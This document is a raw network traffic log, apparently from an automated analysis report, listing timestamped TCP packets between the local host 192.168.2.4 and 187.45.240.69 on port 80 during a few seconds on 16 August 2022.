Aug 16, 2022 11:06:09.959093094 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959140062 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.959156990 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959197044 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959240913 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.959260941 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959300995 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959345102 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.959387064 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959427118 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959465981 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959471941 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.959507942 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959542990 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959552050 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.959582090 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959620953 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959625959 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.959659100 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959702969 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.959728003 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959769964 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959789038 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.959810972 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959831953 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.959851980 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959862947 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.959918976 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959935904 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.959959984 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.959969997 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960000992 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960027933 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960067034 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960130930 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960185051 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960196972 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960232019 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960263014 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960287094 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960333109 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960335016 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960356951 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960391045 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960444927 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960464001 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960496902 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960557938 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960601091 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960654974 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960685968 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960726976 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960750103 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960792065 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960830927 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960839033 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.960938931 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.960978031 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961015940 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961040020 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961055994 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961056948 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961097002 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961137056 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961147070 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961201906 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961241007 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961256027 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961292028 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961299896 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961332083 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961343050 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961374044 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961380959 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961414099 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961420059 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961453915 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961467981 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961496115 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961503983 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961535931 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961540937 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961577892 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961616039 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961653948 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961654902 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961673021 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961695910 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961704016 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961734056 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961744070 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961776018 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961816072 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961822033 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961857080 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961898088 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961935997 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961942911 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961970091 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.961976051 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.961991072 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962018013 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962023973 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962069035 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962084055 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962109089 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962148905 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962156057 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962188005 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962227106 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962234020 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962265968 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962270975 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962306023 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962354898 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962373018 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962436914 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962476015 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962486029 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962517023 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962522030 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962610960 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962651014 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962660074 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962691069 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962694883 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962733030 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962738037 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962770939 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962790012 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:09.962809086 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:09.962863922 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.102325916 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.102389097 CEST	80	49796	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.102499008 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.102543116 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.104960918 CEST	49796	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.195072889 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.195123911 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.195153952 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.195178032 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.195183992 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.195219994 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.195223093 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.195226908 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.195233107 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.195797920 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.195843935 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.195866108 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.195878029 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.195910931 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.195961952 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.195993900 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196110010 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196132898 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196163893 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196177959 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196194887 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196213007 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196233034 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196245909 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196260929 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196286917 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196321011 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196351051 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196376085 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196397066 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196438074 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196469069 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196499109 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196522951 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196532011 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196562052 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196568012 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196584940 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196624994 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196636915 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196696997 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196727991 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196754932 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196758986 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196785927 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196793079 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196816921 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196825981 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.196825981 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196872950 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.196985960 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197016001 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197091103 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197092056 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197125912 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197156906 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197181940 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197187901 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197195053 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197218895 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197237015 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197248936 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197282076 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197304010 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197314978 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197335958 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197354078 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197360992 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197392941 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197392941 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197422028 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197436094 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197727919 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197774887 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197797060 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197813988 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197817087 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197860956 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197901011 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197931051 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197945118 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.197945118 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.197987080 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198024988 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198050022 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198061943 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198069096 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198105097 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198124886 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198127031 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198148966 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198170900 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198177099 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198194027 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198215961 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198218107 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198240042 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198239088 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198262930 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198283911 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198285103 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198308945 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198324919 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198332071 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198354959 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198358059 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198378086 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198383093 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198401928 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198421001 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198424101 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198447943 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198450089 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198466063 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198482037 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198554993 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.198817015 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198846102 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198863983 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198879957 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198899031 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198915958 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.198987007 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199006081 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199026108 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199045897 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199065924 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199084044 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199150085 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199173927 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199198008 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199199915 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199223042 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199248075 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199253082 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199300051 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199300051 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199326038 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199363947 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199371099 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199376106 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199382067 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199398041 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199423075 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199424982 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199436903 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199450016 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199475050 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199486017 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199500084 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199512959 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199525118 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199537039 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199549913 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199554920 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199573994 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199577093 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199599981 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199614048 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199624062 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199628115 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199647903 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199654102 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199672937 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199685097 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199698925 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199698925 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199718952 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199722052 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199747086 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199753046 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199765921 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199784994 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199796915 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199846983 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199894905 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199953079 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.199958086 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.199994087 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200006962 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200020075 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200058937 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200074911 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200109005 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200124979 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200176001 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200179100 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200203896 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200242996 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200256109 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200285912 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200315952 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200371027 CEST	49795	80	192.168.2.4	187.45.240.69
Aug 16, 2022 11:06:10.200417042 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200443983 CEST	80	49795	187.45.240.69	192.168.2.4
Aug 16, 2022 11:06:10.200467110 CEST	80	49795	187.45.240.69	192.168.2.4
